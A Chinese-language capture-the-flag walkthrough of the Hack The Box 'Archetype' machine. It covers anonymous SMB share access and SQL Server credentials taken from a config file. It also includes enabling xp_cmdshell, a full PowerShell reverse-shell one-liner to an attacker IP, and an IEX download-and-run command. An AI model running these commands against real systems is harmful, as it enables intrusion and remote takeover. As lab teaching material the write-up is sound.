要是不知道怎麼連接配接htb的靶機可以檢視我的文章
如何連接配接Hack The Box的靶機?部落格園
如何連接配接Hack The Box的靶機?CSDN
資訊收集
先用nmap掃描對方開放了什麼服務

攻擊
首先比較引人注意的是
445smb服務,1433SQLServer服務
看到445服務就想到永恒之藍漏洞,然而在這裡應該是windows server的版本比較高(2019),是以應該是已經打了永恒之藍的更新檔
我們可以登陸一下smb服務,看看是否需要密碼登入,沒有經過權限配置可能預設允許所有人無需身份認證來匿名通路共享資源
登入smb可以使用smbclient
smbclient參數
-B<IP位址> 傳送廣播資料包時所用的IP位址。
-d<排錯層級> 指定記錄檔案所記載事件的詳細程度。
-E 将資訊送到标準錯誤輸出裝置。
-h 顯示幫助。
-i<範圍> 設定NetBIOS名稱範圍。
-I<IP位址> 指定伺服器的IP位址。
-l<記錄檔案> 指定記錄檔案的名稱。
-L 顯示伺服器端所分享出來的所有資源。
-M<NetBIOS名稱> 可利用WinPopup協定,将資訊送給選項中所指定的主機。
-n<NetBIOS名稱> 指定使用者端所要使用的NetBIOS名稱。
-N 不用詢問密碼。
-O<連接配接槽選項> 設定使用者端TCP連接配接槽的選項。
-p<TCP連接配接端口> 指定伺服器端TCP連接配接端口編号。
-R<名稱解析順序> 設定NetBIOS名稱解析的順序。
-s<目錄> 指定smb.conf所在的目錄。
-t<伺服器字碼> 設定用何種字元碼來解析伺服器端的檔案名稱。
-T<tar選項> 備份伺服器端分享的全部檔案,并打包成tar格式的檔案。
-U<使用者名稱> 指定使用者名稱。
-W<工作群組> 指定工作群組名稱。
連接配接後smb>的指令
?或help [command] 提供關于幫助或某個指令的幫助
![shell command] 執行所用的SHELL指令,或讓使用者進入 SHELL提示符
cd [目錄] 切換到伺服器端的指定目錄,如未指定,則 smbclient 傳回目前本地目錄
lcd [目錄] 切換到用戶端指定的目錄;
dir 或ls 列出目前目錄下的檔案;
exit 或quit 退出smbclient
get file1 file2 從伺服器上下載下傳file1,并以檔案名file2存在本地機上;如果不想改名,可以把file2省略
mget file1 file2 file3 從伺服器上下載下傳多個檔案;
md或mkdir 目錄 在伺服器上建立目錄
rd或rmdir.html' target='_blank'>rmdir 目錄 删除伺服器上的目錄
put file1 [file2] 向伺服器上傳一個檔案file1,傳到伺服器上改名為file2;
mput file1 file2 filen 向伺服器上傳多個檔案
我們在裡隻需要-N和-L參數(注意順序不能變)
smbclient -N -L //10.10.10.27
這四個目錄除了第二個backups,其他都是通路不了的,是以我們隻能通路backups
smbclient -N //10.10.10.27/backups
然後可以看到有一個配置檔案,用get指令下載下傳下來
get prod.dtsConfig
https://the-x.cn/file/Extension/DTSCONFIG.aspx
可以看到這個檔案是sqlserver的配置檔案
拿到了SQLSERVER的密碼和賬号,我們可以嘗試登陸sqlserver
登入sqlserver似乎有很多工具,我使用的是impacket包example檔案夾中的mssqlclient.py腳本,主要是剛好最近在學習内網時用到
要使用impacket包要要先安裝impacket工具包
sudo git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket/
sudo pip3 install .
sudo python3 setup.py install
輸入
python 3 mssqlclient.py -h
檢視幫助
python3 ./mssqlclient.py ARCHETYPE/[email protected] -windows-auth
我們的最終目的是為了拿到靶機上的flag,一般隻有拿到了主機的shell才能拿得到flag,是以我們的目标就是拿到shell,sqlserver剛好有執行指令的功能,可以幫助我們拿到shell
參考:https://blog.csdn.net/qq_36374896/article/details/84112242
使用的函數為xp_cmdshell,xp_cmdshell存儲過程在 SQL Server 2005以後預設關閉,需要手動開啟
開啟xp_cmdshell指令如下:
exec sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure'xp_cmdshell', 1;RECONFIGURE;
有的時候不支援多句執行,那就采用分步執行,開啟xp_cmdshell過程如下:
exec sp_configure 'show advanced options', 1; //開啟進階選項
RECONFIGURE; //配置生效
exec sp_configure'xp_cmdshell', 1; //開啟xp_cmdshell
RECONFIGURE; //配置生效
可以通過exec sp_configure檢視xp_cmdshell狀态:
exec sp_configure
看一下權限和ip
成功執行
然後其實我們就可以通過RCE直接讀取到位于sql_svc使用者桌面的flag,但是為了提高難度決定要拿到shell
通過RCE可以判斷出目标電腦沒有安裝java、php、python等主流程式設計語言,也沒有安裝netcat,是以有一些反彈shell的方法無法做到
是以打算用powershell的腳本進行反彈shell
嘗試使用了nishang的反彈,但是沒有成功,而且在這個函數下很多指令都無法正常的執行,最後隻能用簡單的ps1的腳本進行反彈
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.206",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
将開頭的的ip修改為自己的ip,端口修改為要監聽的端口
注意紅線處才是可以和靶機互聯的IP,用nc監聽
然後再kali’開啟apache服務,使靶機可以遠端下載下傳到我們的腳本,下載下傳方法可以使用powershell的指令
powershell -exec bypass -c IEX(New-Object System.Net.WebClient).DownloadString('URI');
這裡有一點比較奇怪的是,使用指令
xp_cmdshell ""
運作下載下傳的指令一直會報文法錯誤,是以隻能用另一個寫法
exec master..xp_cmdshell "powershell -exec bypass -c IEX(New-Object System.Net.WebClient).DownloadString('URI');";
,再執行完下載下傳腳本後腳本自動運作,可以看到nc’已經傳回shell了